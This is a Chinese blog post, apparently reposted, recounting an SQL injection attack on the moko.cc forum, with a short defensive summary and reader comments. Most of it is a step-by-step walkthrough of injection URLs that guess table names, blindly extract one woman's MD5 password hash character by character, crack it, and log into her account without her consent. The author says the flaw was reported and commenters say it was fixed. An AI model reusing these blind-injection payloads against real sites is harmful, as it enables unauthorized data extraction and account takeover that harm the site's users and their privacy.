Loading...

    AD: 猛买 | 快递查询 | Jobsdigg | 很棒的男装店

moko.cc的SQL注入漏洞攻击实录

可任意转载,但必须在醒目位置以超链接形式标明文章原始出处和作者信息
原文地址:http://www.blogkid.net/archives/2138.html

声明:此漏洞已经我提交到 moko.cc 官方,而且提交了两次。因此漏洞造成的任何后果,本人不承担任何责任。文中关键数据我已隐去。

最近moko.cc红得很快,上面美女帅哥如云。娱乐圈很乱很热闹,我这个it圈的人还没混到一个moko的邀请码。某日在moko闲逛,看到有一个美女bbs,帖子的地址是这样的结构:

http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27

一看就手痒了,鉴于这是moko自己开发的系统,很有可能存在注入漏洞。于是测试了一下:

http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27-1

页面正常返回,而且看到的是id为26的帖子。这说明服务器端存在数字型的注入漏洞,这是最初级的sql注入漏洞了。

下一步就是猜解表名,用类似下面的方式:

http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and 0<(select count(*) from table_name)

如果页面返回正常,就说明猜到了对的表名。猜测的结果,有topic、user、friend这些表。user表里面存放了用户信息,就从user表入手。通过探测,发现user表包含这些字段:username, password, userid。其中,userid是数字id,username就是用户用于登录的邮箱,password不用说了,就是密码。尝试下面的地址,页面正常显示,说明密码长度是32。

http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and 32=(select length(password) from user where userid=xx)

很少有人会设置长度为32的密码,可以断定,这里的密码是经过了md5加密的。所以,即使拿到了密码,能不能破解也得看运气。正巧webleon在twitter推荐了一个moko的美女,我就找到了她在moko的数字id。

先搜了一下这mm的邮箱,搜到是xxx@yahoo.cn。拿来测试了一下,果然也是moko的注册邮箱,这样就省得一位一位破解:

http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and ‘xxx@yahoo.cn’=(select username from user where userid=xx)

下面破解密码,这可偷懒不得,需要一位一位破。由于是md5加密,最后每一位只可能是0到e这16个字符,所以很好猜。猜的过程需要一些技巧,我只写一个大概的格式:

http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and (102=(select ASCII(SUBSTRING(password,9,1)) from user where userid=754))

SUBSTRING是mysql的函数,用于从字符串中截取子串。在这里,使用SUBSTRING(password,9,1),就表示将password字段的字符串,从第9位开始,截取一个长度为1的子串,其实就是取得第9个字符。

ASCII是另一个函数,用来计算传入字符串的ASCII码。如果传入的字符串长度大于1,就返回第一个字符的ASCII码。所以整个ASCII(SUBSTRING(password,9,1))就是取得password字段第9位的ASCII码值,然后与外面的数字相比较。这里用折半查找的话,一般三四次就能猜出一位,如果可以,写个小脚本跑一下更快。当然,我手动猜出全部32位,也只花了不到10分钟。

得到该MMmd5加密之后的密码是”96e79218965eb72c92a549dd5axxxxxx”,验证一下:

http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and (’96e79218965eb72c92a549dd5axxxxxxx’=(select password from user where userid=xx))

可以正常访问,说明拿到的32位密文是对的。下一步,找一个md5转换的网站看看能不能把这密码的明文查出来。真的查到了:

密码转换

然后到moko登录,用刚才的邮箱’xxx@yahoo.cn”和查询得到的明文密码登录,成功进入了该mm的账户。贴张图展示下:

入侵之后

一些总结:

  1. 对输入参数缺少足够的过滤,是最根本的问题。本来是输入数字id的地方,我输入了sql语句,然后被程序正常地执行了。
  2. 数据库表名最好不要直接用user/friend/topic之类的,应该考虑加一个前缀。
  3. 对密码进行加密是很好的。对用户来说,最好把您的密码弄得复杂点,不要被md5反查工具轻易查到。
  4. 为了避免被社会工程学欺负,最好不要在多个地方用同一个密码。否则我拿到了moko的密码,就可以进入你的twitter或是gmail。

4 Responses to “moko.cc的SQL注入漏洞攻击实录”


  1. 非常强悍

  2. 2test

    厉害

  3. 按照你的方法怎么不好使啊?

  4. 因为已经修复了

Leave a Reply